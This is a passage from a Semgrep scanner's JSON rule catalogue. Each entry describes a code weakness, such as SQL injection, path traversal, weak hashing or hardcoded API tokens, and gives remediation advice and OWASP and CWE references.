prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection","id":"php.laravel.security.laravel-code-injection.laravel-code-injection","name":"php.laravel.security.laravel-code-injection.laravel-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-code-injection.laravel-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli","id":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","name":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.sqli.csharp-sqli.csharp-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe Restricted API Key detected"},"help":{"markdown":"Stripe Restricted API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe Restricted API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","id":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","name":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"help":{"markdown":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect","id":"javascript.browser.security.open-redirect.js-open-redirect","name":"javascript.browser.security.open-redirect.js-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.open-redirect.js-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str","id":"cpp.lang.security.strings.return-c-str.return-c-str","name":"cpp.lang.security.strings.return-c-str.return-c-str","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.return-c-str.return-c-str"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","id":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","name":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"help":{"markdown":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","id":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","name":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-source-size.snprintf-source-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password","id":"ruby.lang.security.md5-used-as-password.md5-used-as-password","name":"ruby.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint","id":"csharp.dotnet-core.path-traversal.file-taint.file-taint","name":"csharp.dotnet-core.path-traversal.file-taint.file-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint.file-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js","id":"swift.webview.webview-allow-js.swift-webview-config-allows-js","name":"swift.webview.webview-allow-js.swift-webview-config-allows-js","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-allow-js.swift-webview-config-allows-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GitHub Token detected"},"help":{"markdown":"GitHub Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"GitHub Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token","id":"generic.secrets.security.detected-github-token.detected-github-token","name":"generic.secrets.security.detected-github-token.detected-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-github-token.detected-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","id":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","name":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn","id":"python.lang.compatibility.python37.python37-compatibility-httpsconn","name":"python.lang.compatibility.python37.python37-compatibility-httpsconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpsconn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"help":{"markdown":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","id":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","name":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"help":{"markdown":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization)\n - [https://www.npmjs.com/package/dompurify](https://www.npmjs.com/package/dompurify)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"helpUri":"https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","id":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","name":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","id":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","name":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","id":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","name":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"help":{"markdown":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request)\n - [https://www.php.net/manual/en/function.htmlentities.php](https://www.php.net/manual/en/function.htmlentities.php)\n - [https://www.php.net/manual/en/reserved.variables.request.php](https://www.php.net/manual/en/reserved.variables.request.php)\n - [https://www.php.net/manual/en/reserved.variables.post.php](https://www.php.net/manual/en/reserved.variables.post.php)\n - [https://www.php.net/manual/en/reserved.variables.get.php](https://www.php.net/manual/en/reserved.variables.get.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request","id":"php.lang.security.injection.printed-request.printed-request","name":"php.lang.security.injection.printed-request.printed-request","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.printed-request.printed-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"help":{"markdown":"Running flask app with host 0.0.0.0 could expose the server publicly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","id":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","name":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf)\n - [https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html](https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html)\n - [https://docs.djangoproject.com/en/5.0/ref/csrf/](https://docs.djangoproject.com/en/5.0/ref/csrf/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/csrf](https://owasp.org/www-community/attacks/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery 